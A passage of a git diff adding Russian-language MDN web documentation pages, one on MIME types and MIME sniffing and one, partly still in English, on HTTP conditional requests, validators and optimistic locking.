+ <dd>Изображения или графические данные, включая векторную и растровую графику, а так же анимированные версии форматов неподвижных изображений, таких как  <a href="https://developer.mozilla.org/en-US/docs/Glossary/GIF" title="GIF: GIF (Graphics Interchange Format) is an image format that uses lossless compression and can be used for animations. A GIF uses up to 8 bits per pixel and a maximum of 256 colors from the 24-bit color space.">GIF</a> или APNG. Распространённые примеры включают <code>image/</code><code>jpeg</code>, <code>image</code><code>/</code><code>png</code> и <code>image</code><code>/</code><code>svg</code><code>+</code><code>xml</code>.</dd>
+ <dt><code>model</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#model" style="float: right;">Список IANA</a></dt>
+ <dd>Данные моделей для 3D объектов или сцен. Примеры: <code>model/3mf</code> и <code>model/vml</code>.</dd>
+ <dt><code>text</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#text" style="float: right;">Список IANA</a></dt>
+ <dd>Любые текстовые данные, так или иначе доступные для чтения человеку, а так же  исходный код или текстовые данные для программ. Примеры: <code>text</code><code>/</code><code>plain</code>, <code>text</code><code>/</code><code>csv</code> и <code>text</code><code>/</code><code>html</code>.</dd>
+ <dt><code>video</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#video" style="float: right;">Список IANA</a></dt>
+ <dd>Видео данные или файлы. Например, MP4 фильмы (<code>video</code><code>/</code><code>mp</code><code>4</code>).</dd>
+</dl>
+
+<p>Любые текстовые документы без определённого подтипа стоит отправлять, как  <code>text/plain</code> тип. Аналогичным образом,  <code>application/octet-stream</code> тип подойдёт бинарным документам при неопределённом или неизвестном подтипе.</p>
+
+<h4 id="Многокомпонентные_типы">Многокомпонентные типы</h4>
+
+<p><em>Многокомпонентные</em> типы описывают категории разграниченных на части документов, где каждая из частей может иметь свой отдельный MIME тип. При работе с электронными письмами, они могут использоваться для описания нескольких отдельных файлов, передаваемых в одном сообщении. Они представляют <strong>составные документы</strong>.</p>
+
+<p>За исключением <code>multipart/form-data</code> типа, используемого в {{HTTPMethod("POST")}} методе <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>, и <code>multipart/byteranges</code> типа, используемом в ответе {{HTTPStatus("206")}} <code>Partial Content</code> для отправки части документа, HTTP никаким особым образом не обрабатывает многокомпонентные типы, и просто отправляет данные в браузер (который, с большой вероятностью, предложит сохранить переданный файл, тоже не зная как его обработать).</p>
+
+<p>Существуют два многокомпонентных типа:</p>
+
+<dl>
+ <dt><code>message</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#message" style="float: right;">Список IANA</a></dt>
+ <dd>Сообщение, включающее в себя другие сообщения. Этот тип может использоваться, например, для представления сообщения, которое включают в себя другое переадресованное сообщение, как часть данных, или для отправки больших сообщений по частям, как если бы каждое сообщение отправлялось отдельно. Примеры включают <code>message</code><code>/</code><code>rfc</code><code>822</code> (для переадресованных или цитируемых сообщений) и  <code>message</code><code>/</code><code>partial</code> для автоматического разделения одного большого сообщения на несколько небольших и их последующей сборки на стороне получателя.</dd>
+ <dt><code>multipart</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#multipart" style="float: right;">Список IANA</a></dt>
+ <dd>Данные составленные из нескольких компонентов, каждый из которых может иметь отдельный MIME тип. Примеры включают  <code>multipart</code><code>/</code><code>form</code><code>-</code><code>data</code> (для данных созданных с помощью {{domxref("FormData")}} API) и <code>multipart</code><code>/</code><code>byteranges</code> (определённого в {{RFC(7233, "5.4.1")}} и используемого в ответах {{Glossary("HTTP")}} {{HTTPStatus(206)}} "Partial Content", когда запрашиваемые данные возвращаются по частям в нескольких сообщениях, как например, при использовании заголовка {{HTTPHeader("Range")}}).</dd>
+</dl>
+
+<h2 id="Важные_для_Web-разработчиков_MIME_типы"><strong>Важные для Web-разработчиков MIME типы</strong></h2>
+
+<h3 id="applicationoctet-stream">application/octet-stream</h3>
+
+<p>Этот тип является базовым для бинарных данных. В связи с тем, что он подразумевает<em> неопределённые бинарные</em> данные, браузеры, как правило, не будут пытаться его обработать каком-либо образом, а вызовут для него диалоговое окно «Сохранить Как», как если бы заголовок ответа {{HTTPHeader("Content-Disposition")}} имел значение <code>attachment</code>.</p>
+
+<h3 id="textplain">text/plain</h3>
+
+<p>Этот тип является базовым для текстовых файлов. Несмотря на то, что он означает "неопределённые текстовые данные", браузеры всё равно могут его отображать.</p>
+
+<div class="note">
+<p><strong>Заметьте:</strong> <code>text/plain</code> не означает "любой вид текстовых данных". Если браузер ожидает получения какого-то конкретного типа текстовых данных, то с большой вероятностью он не будет считать <code>text/plain</code> подходящим типом. Например, при загрузке <code>text/plain</code> документа через {{HTMLElement("link")}} элемент, браузер не будет его признать правильным CSS файлом и использовать для применения стилей. Только <code>text/css</code> тип должен использоваться для загрузки CSS документов.</p>
+</div>
+
+<h3 id="textcss">text/css</h3>
+
+<p>CSS документы, используемые для стилизации web-страниц <strong>должны</strong> отправляться, как <code>text/css</code> тип. Большинство браузеров не смогут распознавать CSS документы, загруженные с отличным от <code>text/css</code> MIME типом.</p>
+
+<h3 id="texthtml">text/html</h3>
+
+<p>Все HTML данные должны пересылаться с данным типом. Альтернативные MIME типы для XHTML (например, <code>application/xhtml+xml</code>) почти не используются в настоящее время.</p>
+
+<div class="note">
+<p><strong>Заметьте:</strong> Используйте <code>application/xml</code> или <code>application/xhtml+xml</code>, когда вам необходим строгий синтаксический анализ документов, разделы <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/CDATASection">&lt;![CDATA[…]]&gt;</a></code> или элементы, не принадлежащие к пространствам имён HTML/SVG/MathML.</p>
+</div>
+
+<h3 id="textjavascript">text/javascript</h3>
+
+<p>Согласно HTML спецификации: при пересылке JavaScript файлов, всегда должен использоваться MIME тип <code>text/javascript</code>.</p>
+
+<p>По исторически сложившимся причинам, <a href="https://mimesniff.spec.whatwg.org/">MIME Sniffing Standard</a> (стандарт, определяющий, как браузеры должны интерпретировать медиа типы и выяснять, как обрабатывать данные при неправильно заданных медиа типах) позволяет серверам отправлять JavaScript документы, используя один из нижеперечисленных типов:</p>
+
+<ul>
+ <li><code>application/javascript</code></li>
+ <li><code>application/ecmascript</code></li>
+ <li><code>application/x-ecmascript</code> {{Non-standard_Inline}}</li>
+ <li><code>application/x-javascript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript</code></li>
+ <li><code>text/ecmascript</code></li>
+ <li><code>text/javascript1.0</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.1</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.2</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.3</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.4</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.5</code> {{Non-standard_Inline}}</li>
+ <li><code>text/jscript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/livescript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/x-ecmascript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/x-javascript</code> {{Non-standard_Inline}}</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Заметьте:</strong> Несмотря на то, что некоторые {{Glossary("user agent")}} могут поддерживать какие-то из вышеперечисленных типов, вы всегда должны использовать <code>text</code><code>/</code><code>javascript</code>. Это единственный MIME тип, который гарантированно будет работать в настоящее время и в будущем.</p>
+</div>
+
+<p>Иногда вы можете заметить использование <code>text/javascript</code> MIME типа в связке с параметром <code>charset</code>, для уточнения кодировки, в которой был написан файл. Такое определение MIME типа является неправильным, и в большинстве случаев браузеры не станут загружать скрипт, передаваемый с таким типом.</p>
+
+<h3 id="Типы_изображений">Типы изображений</h3>
+
+<p>Файлы, MIME типом которых является <code>image</code>, содержат в себе данные изображений. Подтип определяет, какой конкретный формат изображения представлен в данных.</p>
+
+<p>Лишь несколько типов изображений достаточно распространены, чтобы безопасно использоваться на веб-страницах.</p>
+
+<p>{{page("ru/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}</p>
+
+<h3 id="Аудио_и_видео_типы">Аудио и видео типы</h3>
+
+<p>Так же как в случае с изображениями, стандарт HTML не обязывает браузеры поддерживать какие-либо определённые форматы и кодеки для   {{HTMLElement("audio")}} и {{HTMLElement("video")}} элементов, так что при их выборе, важно брать в расчёт целевую аудиторию и диапазон браузеров (а так же версии этих браузеров), которые она может использовать.</p>
+
+<p>Наше <a href="https://developer.mozilla.org/ru/docs/Web/Media/Formats/Containers">руководство по медиа форматам</a> предоставляет список общепринятых типов, включая информацию об особых случаях при их использовании, их недостатках, совместимости, а так же других деталях.</p>
+
+<p>Руководства по <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Audio_codecs">аудио</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Video_codecs">видео</a> кодекам перечисляют часто поддерживаемые браузерами кодеки, предоставляя детали по их совместимости и техническую информацию, например как много аудио каналов они поддерживают, какой тип сжатия используют, и так далее. Руководство по <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/WebRTC_codecs">используемым в WebRTC кодекам</a> развивает эту тему ещё дальше, конкретно описывая кодеки, поддерживаемые популярными браузерами, так чтобы вы могли выбрать кодеки, которые имеют наилучшую поддержку в диапазоне браузеров по вашему выбору.</p>
+
+<p>Что касается MIME типов для аудио и видео файлов, то чаще всего они указывают на формат контейнера (тип файла). Необязательный <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр <code>codecs</code></a> может быть добавлен к MIME типу для более точного указания, какой кодек и параметры использовались для пересылаемого файла.</p>
+
+<p>Ниже перечислены наиболее часто используемые на веб-страницах MIME типы. Обратите внимание, что это не полный перечень всех доступных типов. Более полный список поддерживаемых форматов может быть наеден в <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Containers">руководстве по медиа форматам</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">MIME тип</th>
+   <th scope="col">Аудио или видео тип</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><br>
+    <code>audio/wav</code><br>
+    <code>audio/x-wav</code><br>
+    <code>audio/x-pn-wav</code></td>
+   <td>Аудио файл WAVE формата. С PCM аудио кодеком (WAVE кодек "1"), считающимся наиболее поддерживаемым, а так же другими, имеющими ограниченную поддержку.</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td>Аудио файл формата WebM. С Vorbis и Opus официально поддерживаемыми WebM спецификацией аудио кодеками.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm</code></td>
+   <td>Видео файл, с возможной аудио дорожкой, формата WebM. С VP8 и VP9, как наиболее распространёнными видео кодеками; Vorbis и Opus, как наиболее распространёнными аудио кодеками.</td>
+  </tr>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td>Аудио файл формата OGG. С Vorbis, как наиболее распространённым аудио кодеком. Хотя на данный момент имеется поддержка и Opus кодека.</td>
+  </tr>
+  <tr>
+   <td><code>video/ogg</code></td>
+   <td>Видео файл, с возможной аудио дорожкой, в формате OGG. Где Theora –  наиболее часто встречающийся видео кодек и Vorbis - наиболее часто встречающийся аудио кодек. Хотя использование кодека Opus становится всё более распространённым.</td>
+  </tr>
+  <tr>
+   <td><code>application/ogg</code></td>
+   <td>Аудио или видео формата OGG. Где Theora –  наиболее часто встречающийся видео кодек и Vorbis - наиболее часто встречающийся аудио кодек.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data">multipart/form-data</h3>
+
+<p><code>multipart/form-data</code> тип может быть использован при отправке значений из  заполненной <a href="https://wiki.developer.mozilla.org/ru/docs/Web/Guide/HTML/Forms">HTML Формы</a> на сервер.</p>
+
+<p>Как многокомпонентный тип документа, он состоит из различных частей, разделённых специальной границей (строкой, начинающейся с двух чёрточек <code>--</code>), где каждая часть представляет собой отдельную сущность и имеет отдельные HTTP заголовки {{HTTPHeader("Content-Disposition")}} и {{HTTPHeader("Content-Type")}} для загружаемых файлов.</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aBoundaryString
+(other headers associated with the multipart document as a whole)
+
+--aBoundaryString
+Content-Disposition: form-data; name="myFile"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--aBoundaryString
+Content-Disposition: form-data; name="myField"
+
+(data)
+--aBoundaryString
+(more subparts)
+--aBoundaryString--
+
+</pre>
+
+<p>Следующая форма <code>&lt;form&gt;</code>:</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+  &lt;label&gt;Name: &lt;input name="myTextField" value="Test"&gt;&lt;/label&gt;
+  &lt;label&gt;&lt;input type="checkbox" name="myCheckBox"&gt; Check&lt;/label&gt;
+  &lt;label&gt;Upload file: &lt;input type="file" name="myFile" value="test.txt"&gt;&lt;/label&gt;
+  &lt;button&gt;Send the file&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>отправит сообщение:</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myTextField"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myFile"; filename="test.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges">multipart/byteranges</h3>
+
+<p><code>multipart/byteranges</code> MIME тип используется для отправки данных в браузер по частям.</p>
+
+<p>При отправке кода состояния {{HTTPStatus("206")}} <code>Partial Content</code>, этот MIME тип будет означать, что документ состоит из нескольких частей, по одной для каждого отдельно запрашиваемого диапазона. Аналогично с остальными многокомпонентными типами, заголовок {{HTTPHeader("Content-Type")}} используется для объявления границы <code>boundary</code>, разделяющей документ на отдельные компоненты. Каждый компонент имеет заголовок {{HTTPHeader("Content-Type")}}, описывающий тип сегмента данных, и {{HTTPHeader("Content-Range")}}, описывающий его диапазон.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+    &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="Важность_задания_правильного_MIME_типа"><strong>Важность задания правильного </strong><strong>MIME</strong> <strong>типа</strong></h2>
+
+<p>Большинство серверов отправляет ресурсы неопределённого типа, как <code>application/octet-stream</code> MIME тип. Большинство же браузеров, в целях безопасности, не позволяет их никак обрабатывать, вынуждая пользователя сохранять их на жёсткий диск, для дальнейшего использования.</p>
+
+<p>Несколько советов по правильной настройке MIME типов на серверах:</p>
+
+<ul>
+ <li>RAR-сжатые файлы. В этом случае самым правильным вариантом было бы задать тип изначального ресурса; но это не всегда выполнимо, так как .RAR файлы могут хранить в себе несколько типов данных. Тогда, настройте сервер на отправку <code>application/x-rar-compressed</code> MIME типа вместе с RAR ресурсами.</li>
+ <li>Аудио и видео. Только ресурсы с правильно заданными MIME типами могут производиться в {{HTMLElement("video")}} и {{HTMLElement("audio")}} элементах. Убедитесь, что вы <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">используете правильные типы для аудио и видео данных</a>.</li>
+ <li>Запатентованные типы файлов. Избегайте использования <code>application/octet-stream</code> при их отправке, так как большинство браузеров не позволит определять способы обработки (например, "Открыть в Word") для этого базового MIME типа. Используйте специальные типы, например <code>application/vnd.mspowerpoint</code>, чтобы позволить пользователям открывать загруженный ресурс в программе по их выбору.</li>
+</ul>
+
+<h2 id="MIME_sniffing">MIME sniffing</h2>
+
+<p>В отсутствии заданного MIME типа, или в определённых случаях, когда браузеры полагают, что MIME тип задан неправильно, они могут выполнять <em>MIME<strong> </strong>sniffing</em> — попытку угадать правильный MIME тип, анализируя характеристики ресурса.</p>
+
+<p>Каждый браузер выполняет MIME sniffing по-своему и при разных условиях (например, Safari будет смотреть на расширение файла, если переданный MIME тип является неподходящим для документа). В этих случаях могут присутствовать опасения по поводу безопасности, так как некоторые MIME типы представляют исполняемые файлы. Сервера имеют возможность предотвращать MIME sniffing, отправляя {{HTTPHeader("X-Content-Type-Options")}} заголовок ответа.</p>
+
+<h2 id="Другие_методы_сообщения_о_типе_ресурса"><strong>Другие методы сообщения о типе ресурса</strong></h2>
+
+<p>MIME типы не являются единственным способом сообщения типа документа:</p>
+
+<ul>
+ <li>Суффиксы в названиях файлов могут указывать на тип документа, главным образом на Microsoft Windows. Но не все операционные системы могут считать их имеющими смысл (например, Linux или MacOS). А так же нет никакой гарантии, что они будут указывать на правильный тип.</li>
+ <li>Магические числа. Синтаксисы различных форматов позволяют узнавать их тип, через анализ их структуры байтов. Например, GIF файлы начинаются с <code>47 49 46 38 39</code> шестнадцатеричного значения (<code>GIF89</code>), а PNG файлы с <code>89 50 4E 47</code> (<code>.PNG</code>). Опять же, не все типы документов имеют магические числа, так что этот подход так же не надёжен на 100%.</li>
+</ul>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/Media">Медиа технологии в web</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/Media/Formats">Руководство по медиа типам и форматам в web</a></li>
+ <li>
+  <p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Настраивание MIME типов на стороне сервера</a></p>
+ </li>
+</ul>
+
+<div>{{HTTPSidebar}}</div>
diff --git a/files/ru/web/http/conditional_requests/index.html b/files/ru/web/http/conditional_requests/index.html
new file mode 100644
index 0000000000..547d4a80af
--- /dev/null
+++ b/files/ru/web/http/conditional_requests/index.html
@@ -0,0 +1,144 @@
+---
+title: Условные HTTP запросы
+slug: Web/HTTP/Conditional_requests
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">В HTTP есть понятие <em>условных запросов</em>, в которых результат, и даже успех запрос, могут быть изменены с помощью сравнения затронутых ресурсов со значением <em>валидатора</em>. Такие запросы могут быть полезными для валидации контента в кеше, и избавления от бесполезного контроля, чтобы проверить целостность документа, например, пока длится загрузка, или пока предовращается потеря обновлений, пока выгружаются или изменяются файлы на сервере.</p>
+
+<h2 id="Принципы">Принципы</h2>
+
+<p>Условные запросы HTTP это запросы, которые выполняся по разному, в зависимости значения особых заголовков. Эти заголовки определяют предусловие, и результат запроса будет разным, если условие согласовано или нет.</p>
+
+<p>Отличие в поведении определяется используемым методом, и набором заголовков для предусловий:</p>
+
+<ul>
+ <li>для {{glossary("safe", "безопасных")}} методов, например как {{HTTPMethod("GET")}}, который обычно используется, чтобы получить документ, условный запрос отправит документ только если это уместно. Следовательно, это расширит пропускную способность.</li>
+ <li>для {{glossary("safe", "небезопасных")}} методов, например {{HTTPMethod("PUT")}}, который обычно используется для выгрузки документа на сервер, условный запрос загрузит документ, только если оригинал, на котором он основан, хранится на сервере.</li>
+</ul>
+
+<h2 id="Validators">Validators</h2>
+
+<p>All conditional headers try to check if the resource stored on the server matches a specific version. To achieve this, the conditional requests need to indicate the version of the resource. As comparing the whole resource byte to byte is impracticable, and not always what is wanted, the request transmits a value describing the version. Such values are called <em>validators</em>, and are of two kinds:</p>
+
+<ul>
+ <li>the date of last modification of the document, the <em>last-modified</em> date.</li>
+ <li>an opaque string, uniquely identifying each version, called the <em>entity tag</em>, or the <em>etag</em>.</li>
+</ul>
+
+<p>Comparing versions of the same resource is a bit tricky: depending on the context, there are two kinds of <em>equality checks</em>:</p>
+
+<ul>
+ <li><em>Strong validation</em> is used when byte to byte identity is expected, for example when resuming a download.</li>
+ <li><em>Weak validation</em> is used when the user-agent only needs to determine if the two resources have the same content. This is even if they are minor differences; like different ads, or a footer with a different date.</li>
+</ul>
+
+<p>The kind of validation is independent of the validator used. Both {{HTTPHeader("Last-Modified")}} and {{HTTPHeader("ETag")}} allow both types of validation, though the complexity to implement it on the server side may vary. HTTP uses strong validation by default, and it specifies when weak validation can be used.</p>
+
+<h3 id="Strong_validation">Strong validation</h3>
+
+<p id="sect1">Strong validation consists of guaranteeing that the resource is, byte to byte, identical to the one it is compared too. This is mandatory for some conditional headers, and the default for the others. Strong validation is very strict and may be difficult to guarantee at the server level, but it does guarantee no data loss at any time, sometimes at the expense of performance.</p>
+
+<p>It is quite difficult to have a unique identifier for strong validation with {{HTTPHeader("Last-Modified")}}. Often this is done using an {{HTTPHeader("ETag")}} with the MD5 hash of the resource (or a derivative).</p>
+
+<h3 id="Weak_validation">Weak validation</h3>
+
+<p>Weak validation differs from strong validation, as it considers two versions of the document as identical if the content is equivalent. For example, a page that would differ from another only by a different date in its footer, or different advertising, would be considered <em>identical</em> to the other with weak validation. These same two versions are considered <em>different</em> when using strong validation. Building a system of etags that creates weak validation may be complex, as it involves knowing the importance of the different elements of a page, but is very useful towards optimizing cache performance.</p>
+
+<h2 id="Conditional_headers">Conditional headers</h2>
+
+<p>Several HTTP headers, called conditional headers, lead to conditional requests. These are:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("ETag")}} of the distant resource is equal to one listed in this header. By default, unless the etag is prefixed with <code>'W/'</code>, it performs a strong validation.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("ETag")}} of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with <code>'W/'</code>, it performs a strong validation.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("Last-Modified")}} date of the distant resource is more recent than the one given in this header.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("Last-Modified")}} date of the distant resource is older or the same than the one given in this header.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Similar to {{HTTPHeader("If-Match")}}, or {{HTTPHeader("If-Unmodified-Since")}}, but can have only one single etag, or one date. If it fails, the range request fails, and instead of a {{HTTPStatus("206")}} <code>Partial Content</code> response, a {{HTTPStatus("200")}} <code>OK</code> is sent with the complete resource.</dd>
+</dl>
+
+<h2 id="Use_cases">Use cases</h2>
+
+<h3 id="Cache_update">Cache update</h3>
+
+<p>The most common use case for conditional requests is updating a cache. With an empty cache, or without a cache, the requested resource is sent back with a status of {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>Together with the resource, the validators are sent in the headers. In this example, both {{HTTPHeader("Last-Modified")}} and {{HTTPHeader("ETag")}} are sent, but it could equally have been only one of them. These validators are cached with the resource (like all headers) and will be used to craft conditional requests, once the cache becomes stale.</p>
+
+<p>As long as the cache is not stale, no requests are issued at all. But once it has become stale, this is mostly controlled by the {{HTTPHeader("Cache-Control")}} header, the client doesn't use the cached value directly but issues a <em>conditional request</em>. The value of the validator is used as a parameter of the {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Match")}} headers.</p>
+
+<p>If the resource has not changed, the server sends back a {{HTTPStatus("304")}} <code>Not Modified</code> response. This makes the cache fresh again, and the client uses the cached resource. Although there is a response/request round-trip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>If the resource has changed, the server just sends back a {{HTTPStatus("200")}}<code> OK</code> response, with the new version of the resource, like if the request wasn't conditional and the client use this new resource (and caches it).</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>Besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by Web developers.</p>
+
+<h3 id="Integrity_of_a_partial_download">Integrity of a partial download</h3>
+
+<p>Partial downloading of files is a functionality of HTTP that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information:</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/13735/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>A server supporting partial downloads broadcasts this by sending the {{HTTPHeader("Accept-Ranges")}} header. Once this happens, the client can resume a download by sending a {{HTTPHeader("Ranges")}} header with the missing ranges:</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>The principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted.</p>
+
+<p>To prevent this, conditional requests are used. For ranges, there are two ways of doing this. The more flexible one makes use of {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Match")}} and the server returns an error if the precondition fails; the client then restarts the download from the beginning:</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>Even if this method works, it adds an extra response/request exchange when the document has been changed. This impairs performance, and HTTP has a specific header to avoid this scenario: {{HTTPHeader("If-Range")}}:</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>This solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. Rarely is such additional flexibility needed.</p>
+
+<h3 id="Avoiding_the_lost_update_problem_with_optimistic_locking">Avoiding the lost update problem with optimistic locking</h3>
+
+<p>A common operation in Web applications is to <em>update</em> a remote document. This is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. Common Web sites, like wikis and other CMS, have such a need.</p>
+
+<p>With the {{HTTPMethod("PUT")}} method you are able to implement this. The client first reads the original files, modifies them, and finally pushes them to the server:</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>Unfortunately, things get a little inaccurate as soon as we take into account concurrency. While a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. What happens next is very unfortunate: when they commit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. The decision on who wins, is not communicated to the other party. Which client's changes are to be kept, will vary with the speed they commit; this depends on the performance of the clients, of the server, and even of the human editing the document at the client. The winner will change from one time to the next. This is a {{glossary("race condition")}} and leads to problematic behaviors, which are difficult to detect and to debug:</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>There is no way to deal with this problem without annoying one of the two clients. However, lost updates and race conditions are to be avoided. We want predictable results, and expect that the clients are notified when their changes are rejected.</p>
+
+<p>Conditional requests allow implementing the <em>optimistic locking algorithm</em> (used by most wikis or source control systems). The concept is to allow all clients to get copies of the resource, then let them modify it locally, controlling concurrency by successfully allowing the first client submitting an update. All subsequent updates, based on the now obsolete version of the resource, are rejected:</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>This is implemented using the {{HTTPHeader("If-Match")}} or {{HTTPHeader("If-Unmodified-Since")}} headers. If the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a {{HTTPStatus("412")}} <code>Precondition Failed</code> error. It is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a <em>diff </em>of both versions, helping them decide which changes they wish to keep.</p>
+
+<h3 id="Dealing_with_the_first_upload_of_a_resource">Dealing with the first upload of a resource</h3>
+
+<p>The first upload of a resource is an edge case of the previous. Like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. To prevent this, conditional requests can be used: by adding {{HTTPHeader("If-None-Match")}} with the special value of <code>'*'</code>, representing any etag. The request will succeed, only if the resource didn't exist before:</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> will only work with HTTP/1.1 (and later) compliant servers. If unsure if the server will be compliant, you need first to issue a {{HTTPMethod("HEAD")}} request to the resource to check this.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
